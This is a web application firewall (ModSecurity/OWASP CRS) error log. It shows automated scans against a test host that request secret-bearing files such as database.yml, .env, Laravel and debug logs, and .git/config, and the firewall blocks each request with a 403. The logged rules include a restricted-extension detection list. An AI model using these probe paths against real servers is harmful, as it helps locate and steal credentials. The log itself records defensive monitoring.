[Sat Dec 06 23:24:48.956746 2025] [:error] [pid 551557] [client 194.180.49.171:49980] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aTStMLsS8kGBs9zQAZma7QAAAAE&quot;]
[Sat Dec 06 23:24:48.956968 2025] [:error] [pid 551557] [client 194.180.49.171:49980] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aTStMLsS8kGBs9zQAZma7QAAAAE&quot;]
[Sat Dec 06 23:24:48.957165 2025] [:error] [pid 551557] [client 194.180.49.171:49980] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aTStMLsS8kGBs9zQAZma7QAAAAE&quot;]
[Sat Dec 06 23:24:49.190125 2025] [:error] [pid 551892] [client 194.180.49.171:50006] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aTStMbs-Bpg8RBNF3C6dAAAAAAw&quot;]
[Sat Dec 06 23:24:49.190660 2025] [:error] [pid 551892] [client 194.180.49.171:50006] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aTStMbs-Bpg8RBNF3C6dAAAAAAw&quot;]
[Sat Dec 06 23:24:49.190858 2025] [:error] [pid 551892] [client 194.180.49.171:50006] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aTStMbs-Bpg8RBNF3C6dAAAAAAw&quot;]
[Sat Dec 06 23:24:49.292284 2025] [:error] [pid 551907] [client 194.180.49.171:50018] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aTStMQyVmHurXfTWV8msoAAAAAk&quot;]
[Sat Dec 06 23:24:49.292531 2025] [:error] [pid 551907] [client 194.180.49.171:50018] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aTStMQyVmHurXfTWV8msoAAAAAk&quot;]
[Sat Dec 06 23:24:49.292724 2025] [:error] [pid 551907] [client 194.180.49.171:50018] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aTStMQyVmHurXfTWV8msoAAAAAk&quot;]
[Sat Dec 06 23:24:49.417137 2025] [:error] [pid 551924] [client 194.180.49.171:50022] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aTStMcwt6opipu-GLyo2wQAAAA8&quot;]
[Sat Dec 06 23:24:49.417464 2025] [:error] [pid 551924] [client 194.180.49.171:50022] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aTStMcwt6opipu-GLyo2wQAAAA8&quot;]
[Sat Dec 06 23:24:49.417635 2025] [:error] [pid 551924] [client 194.180.49.171:50022] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aTStMcwt6opipu-GLyo2wQAAAA8&quot;]
[Sat Dec 06 23:24:49.532109 2025] [:error] [pid 551560] [client 194.180.49.171:50030] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aTStMW8-8TzD5o0ukZJHowAAAAQ&quot;]
[Sat Dec 06 23:24:49.532450 2025] [:error] [pid 551560] [client 194.180.49.171:50030] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aTStMW8-8TzD5o0ukZJHowAAAAQ&quot;]
[Sat Dec 06 23:24:49.532637 2025] [:error] [pid 551560] [client 194.180.49.171:50030] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aTStMW8-8TzD5o0ukZJHowAAAAQ&quot;]
[Sat Dec 06 23:24:49.675655 2025] [:error] [pid 562066] [client 194.180.49.171:50044] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel.log&quot;] [unique_id &quot;aTStMYSu7bPXQ1roYoMoBgAAAAI&quot;]
[Sat Dec 06 23:24:49.675999 2025] [:error] [pid 562066] [client 194.180.49.171:50044] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel.log&quot;] [unique_id &quot;aTStMYSu7bPXQ1roYoMoBgAAAAI&quot;]
[Sat Dec 06 23:24:49.676182 2025] [:error] [pid 562066] [client 194.180.49.171:50044] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel.log&quot;] [unique_id &quot;aTStMYSu7bPXQ1roYoMoBgAAAAI&quot;]
[Sat Dec 06 23:24:49.795238 2025] [:error] [pid 562054] [client 194.180.49.171:50060] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aTStMc4mDgHZtuIKTuMqoAAAAAU&quot;]
[Sat Dec 06 23:24:49.795590 2025] [:error] [pid 562054] [client 194.180.49.171:50060] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aTStMc4mDgHZtuIKTuMqoAAAAAU&quot;]
[Sat Dec 06 23:24:49.795773 2025] [:error] [pid 562054] [client 194.180.49.171:50060] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aTStMc4mDgHZtuIKTuMqoAAAAAU&quot;]
[Sat Dec 06 23:24:49.909913 2025] [:error] [pid 551909] [client 194.180.49.171:50064] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aTStMUZ7MVrSYKxqv-DgdAAAAA4&quot;]
[Sat Dec 06 23:24:49.910410 2025] [:error] [pid 551909] [client 194.180.49.171:50064] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aTStMUZ7MVrSYKxqv-DgdAAAAA4&quot;]
[Sat Dec 06 23:24:49.910589 2025] [:error] [pid 551909] [client 194.180.49.171:50064] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aTStMUZ7MVrSYKxqv-DgdAAAAA4&quot;]
[Sat Dec 06 23:24:50.020323 2025] [:error] [pid 551921] [client 194.180.49.171:50072] [client 194.180.49.171] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aTStMha90AxZKzHefnF8pgAAAAg&quot;]
[Sat Dec 06 23:24:50.020702 2025] [:error] [pid 551921] [client 194.180.49.171:50072] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aTStMha90AxZKzHefnF8pgAAAAg&quot;]
[Sat Dec 06 23:24:50.020880 2025] [:error] [pid 551921] [client 194.180.49.171:50072] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aTStMha90AxZKzHefnF8pgAAAAg&quot;]
[Sun Dec 07 10:14:38.479507 2025] [:error] [pid 575822] [client 68.183.147.152:59430] [client 68.183.147.152] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aTVFfrHrKGegcZ_89jRaQgAAAAU&quot;]
[Sun Dec 07 10:14:38.479837 2025] [:error] [pid 575822] [client 68.183.147.152:59430] [client 68.183.147.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aTVFfrHrKGegcZ_89jRaQgAAAAU&quot;]
